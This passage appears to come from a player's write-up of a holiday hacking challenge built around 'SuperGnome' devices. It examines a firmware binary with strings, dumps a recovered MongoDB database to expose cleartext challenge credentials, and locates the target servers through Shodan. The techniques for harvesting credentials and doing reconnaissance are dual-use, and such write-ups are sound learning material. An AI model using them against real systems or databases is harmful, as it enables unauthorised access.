- sgstatd: This is a binary file: “ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)”. This is odd, this file is a x86 binary file, not an ARM compiled version. This explains a couple of things, like why Stuart, Louise, Auggie and Nedford couldn’t make the init script work in the Gnome. Of course it worked in development Louise, most probably you were using a x86 platform, not an ARM platform. Second, if this binary was compiled for a x86 architecture, maybe it’ll be used in the SuperGnomes. Let’s grab some information using “strings”:

“"“nobodyWelcome to the SuperGnome Server Status Center!Please enter one of the following options:1 - Analyze hard disk usage2 - List open TCP sockets3 - Check logged in users/bin/dfFailed to run command/bin/netstat -tan/usr/bin/whoEnter a short message to share with GnomeNet (please allow 10 seconds) =>Request Completed!Invalid choice!Canary not repaired.This function is protected!Server started...Unable to set SIGCHLD handlerUnable to create socketUnable to set socket reuse optionUnable to bind socketUnable to listen on socketUnable to find user/var/run/sgstatdUnable to change directory to /var/run/sgstatdUnable to remove extra groupsUnable to change GIDUnable to change UID/dev/urandom;*2$"GCC: (Debian 4.7.2-5) 4.7.2GCC: (Debian 4.4.7-2) 4.4.7“”"

There is a lot of information here: a menu, a couple of commands, user input message, and a canary. We’ll take a closer look later. 

Let’s explore the whole filesystem:

find . -type f -exec file '{}' \; > ../find.files"

It seems like our only x86 binary file is sgstatd, the rest of the files are: ARM executables, ASCII text, shell scripts and data. The following command:

egrep -R  '(STUART|LOUISE|AUGGIE|NEDFORD)' * | cut -d: -f1 | uniq"

Shows the files where those guys were involved (at least the ones they put their name on):

“”"etc/hostsetc/init.d/autowlanetc/init.d/mongodetc/init.d/nodejsetc/init.d/sgdnsc2etc/init.d/sgstatdetc/mongod.confetc/rc.d/Kmongodetc/rc.d/Knodejsetc/rc.d/Ksgdnsc2etc/rc.d/Ksgstatdetc/rc.d/S90autowlanetc/rc.d/S97mongodetc/rc.d/S98nodejsetc/rc.d/S98sgstatdetc/rc.d/S99sgdnsc2usr/sbin/autowlanwww/routes/index.js“”"

We’ve already checked most of these files, except the node.js app directory. 

Now, let’s check the mongodb database files: /opt/mongod. This is the content of the file directory: “ _tmp  gnome.0  gnome.ns  journal  local.0  local.ns”. The files local.* store the data of the “local” database, which stores data for the replication process and other instance-specific data (taken from mongodb reference manual). In this case, let’s sneak into the gnome files using “strings”:

“”"nome.settingssettingCurrent config file:value./tmp/e31faee/cfg/sg.01.v1339.cfgsettingAllow new subordinates?:valuesettingCamera monitoring?:valuesettingAudio monitoring?:valuesettingCamera update rate:value60minsettingGnome name:valueSG-01settingAllow file uploads?:valuesettingAllowed file formats:value.pngsettingAllowed file size:value512kbsettingFiles directory:value/gnome/1/files/gnome.statussg-availsg-upgnome.usersusernameuserpassworduseruser_levelusernameadminpasswordSittingOnAShelfuser_level“"'

I’ve removed a couple of entries, but it looks like configuration information of a SuperGnome, including usernames and passwords stored in clear text. For the sake of fun, let’s copy these files, and install our own instance of MongoDB. I copied the gnome.* files to the db directory in another host, set the right permissions, and run mongod. After accessing the mongo shell with “mongo”, we can run a couple of commands:

- “show collections”:“”"camerassettingsstatussystem.indexesusers“”"- “ db.cameras.find()”:“”"{ "_id" : ObjectId("56225c994a37f7d48337b9be"), "cameraid" : 1, "tz" : -5, "status" : "online" }{ "_id" : ObjectId("56225ca84a37f7d48337b9bf"), "cameraid" : 2, "tz" : 5, "status" : "online" }{ "_id" : ObjectId("563606624f51b1c4472f365e"), "cameraid" : 3, "tz" : -5, "status" : "online" }{ "_id" : ObjectId("563606834f51b1c4472f365f"), "cameraid" : 4, "tz" : -5, "status" : "online" }{ "_id" : ObjectId("563606a14f51b1c4472f3660"), "cameraid" : 5, "tz" : -8, "status" : "online" }{ "_id" : ObjectId("563606e84f51b1c4472f3661"), "cameraid" : 6, "tz" : 9, "status" : "online" }{ "_id" : ObjectId("56433d16ed9881a101c95422"), "cameraid" : 7, "tz" : -5, "status" : "online" }{ "_id" : ObjectId("56433d1aed9881a101c95423"), "cameraid" : 9, "tz" : -4, "status" : "online" }{ "_id" : ObjectId("56433d1bed9881a101c95424"), "cameraid" : 8, "tz" : -6, "status" : "online" }{ "_id" : ObjectId("56433d28ed9881a101c95425"), "cameraid" : 10, "tz" : -5, "status" : "online" }{ "_id" : ObjectId("56433d2bed9881a101c95426"), "cameraid" : 11, "tz" : 6, "status" : "online" }{ "_id" : ObjectId("56433d2fed9881a101c95427"), "cameraid" : 12, "tz" : 7, "status" : "online" }“”"- “ db.settings.find()”:“”"{ "_id" : ObjectId("562269a1b6e8d3a99a07300c"), "setting" : "Current config file:", "value" : "./tmp/e31faee/cfg/sg.01.v1339.cfg" }{ "_id" : ObjectId("562269b2b6e8d3a99a07300d"), "setting" : "Allow new subordinates?:", "value" : "YES" }{ "_id" : ObjectId("562269e0b6e8d3a99a07300e"), "setting" : "Camera monitoring?:", "value" : "YES" }{ "_id" : ObjectId("562269e9b6e8d3a99a07300f"), "setting" : "Audio monitoring?:", "value" : "YES" }{ "_id" : ObjectId("562269f3b6e8d3a99a073010"), "setting" : "Camera update rate:", "value" : "60min" }{ "_id" : ObjectId("56226a03b6e8d3a99a073011"), "setting" : "Gnome mode:", "value" : "SuperGnome" }{ "_id" : ObjectId("56226a0db6e8d3a99a073012"), "setting" : "Gnome name:", "value" : "SG-01" }{ "_id" : ObjectId("56226a1bb6e8d3a99a073013"), "setting" : "Allow file uploads?:", "value" : "YES" }{ "_id" : ObjectId("56226a2ab6e8d3a99a073014"), "setting" : "Allowed file formats:", "value" : ".png" }{ "_id" : ObjectId("56226a38b6e8d3a99a073015"), "setting" : "Allowed file size:", "value" : "512kb" }{ "_id" : ObjectId("56226a47b6e8d3a99a073016"), "setting" : "Files directory:", "value" : "/gnome/1/files/" }“”"- “ db.status.find()”:“”"{ "_id" : ObjectId("56421153b0aa2a3be47a2d04"), "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170332 }{ "_id" : ObjectId("564212abb0aa2a3be47a2d05"), "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170395 }“”"- “ db.users.find()”:“”"{ "_id" : ObjectId("56229f58809473d11033515b"), "username" : "user", "password" : "user", "user_level" : 10 }{ "_id" : ObjectId("56229f63809473d11033515c"), "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 }“”"

Now, we’ve usernames and passwords!


Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt!

5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis Neighborhood?
6) Where is each SuperGnome located geographically?

With the help of shodan.io, and using “supergnome” as search pattern, the following IP addresses are shown (and verified by Tom Hessman):


- SG-01: United States, Ashburn.
- SG-02: United States, Boardman.
- SG-03: Australia, Sydney
- SG-04: Japan, Tokyo
- SG-05: Brazil, Sao Paulo.